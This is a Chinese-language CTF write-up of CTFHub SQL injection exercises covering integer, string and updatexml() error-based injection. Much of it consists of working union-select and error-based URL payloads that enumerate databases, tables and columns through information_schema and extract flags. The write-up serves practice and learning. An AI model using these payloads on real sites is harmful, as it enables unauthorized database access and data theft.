CTFHub-Web-sql注入练习(一)
前言
sql注入用到的一些相关函数
| 函数 | 描述 |
|---|---|
| table_schema | 数据库名 |
| table_name | 表名 |
| column_name | 列名 |
| information_schema.schemata | 包含所有数据库的名 |
| information_schema.tables | 包含所有库的表名 |
| information_schema.columns | 包含所有表的字段 |
| group_concat()函数功能 | 将group by产生的同一个分组中的值连接起来,返回一个字符串结果。 |
整数型注入
1.判断注入
输入1

输入?id=1 and 1=1,正常回显

输入?id=1 and 1=2,返回错误。

2.判断字段数
当?id=1 order by 2 时回显正常,当?id=1 order by 3时无回显,所以字段数为2

3.爆数据库名,当前数据库名为sqli
Payload: ?id=1 and 1=2 union select 1,database()

4.爆表名,有两个表,一个是news,另外一个是flag
Payload: ?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

5.爆字段名,字段名为flag
Payload: ?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'

6.爆值,flag就出来了
Payload: ?id=1 and 1=2 union select 1,group_concat(flag) from flag

字符型注入
1.判断注入
输入1,发现sql语句数字中我们输入的1被单引号包裹,字符型注入跟数字型注入的区别就在于引号的闭合

正常回显
Payload: ?id=1' and '1'='1

返回错误
Payload: ?id=1' and '1'='2

我们可以用#闭注释掉单引号,输入1' and 1=1#,正常回显

2.判断字段数
输入1' order by 2 # 正常回显,输入1' order by 3# 返回错误,所以字段数为2

3.爆数据库名,得到数据库名sqli
Payload: ?id=1' and 1=2 union select 1,database()#

4.爆表名,得到两个表名 news,flag
Payload: ?id=1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#

5.爆字段名,字段名flag
Payload: ?id=1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'#

6.爆值
Payload: ?id=1' and 1=2 union select 1,group_concat(flag) from flag#

报错注入
百度了一下报错注入,报错注入是我们通过反馈出来的错误来获取到我们所需要的信息,发现一共有十种报错注入,最常用到的三种报错注入方式分别是:updatexml()、floor()、extractvalue()。
太菜了,看了下大师傅们的wp,发现这道题就是利用updatexml()函数进行报错注入
UPDATEXML (XML_document, XPath_string, new_value);
| 参数 | 描述 |
|---|---|
| XML_document | XML_document是String格式,为XML文档对象的名称,文中为Doc |
| XPath_string | XPath_string (Xpath格式的字符串) ,xpath报错只显示32位结果 |
| new_value | new_value,String格式,替换查找到的符合条件的数据 |
updatexml的报错原理:
updatexml第二个参数需要的是Xpath格式的字符串,但是我们第二个参数很明显不是,而是我们想要获得的数据,所以会报错,并且在报错的时候会将其内容显示出来,从而获得我们想要的数据。
使用updatexml报错注入固定格式:
payload:?id=a'and(updatexml("anything",concat('~',(select语句())),"anything"))
concat()函数将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出想要的数据
Payload: ?id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

爆库名,查到数据库名为sqli
Payload: ?id=1 and (updatexml(1,concat(0x7e,(select database()),0x7e),1));

爆字段,一个news,一个flag
Payload: ?id=1 and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x7e),1));

爆字段名,字段名为flag
Payload: ?id=1 and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e),1));

爆值
Payload: ?id=1 and (updatexml(1,concat(0x7e,(select group_concat(flag) from flag),0x7e),1));

好像只有一部分flag,这个时候就用到了mid()函数

使用mid函数来进行字符截取,来显示另外一半flag。
Payload: ?id=1 and (updatexml(1,concat(0x7e,mid((select group_concat(flag) from flag),32),0x7e),1));


浙公网安备 33010602011771号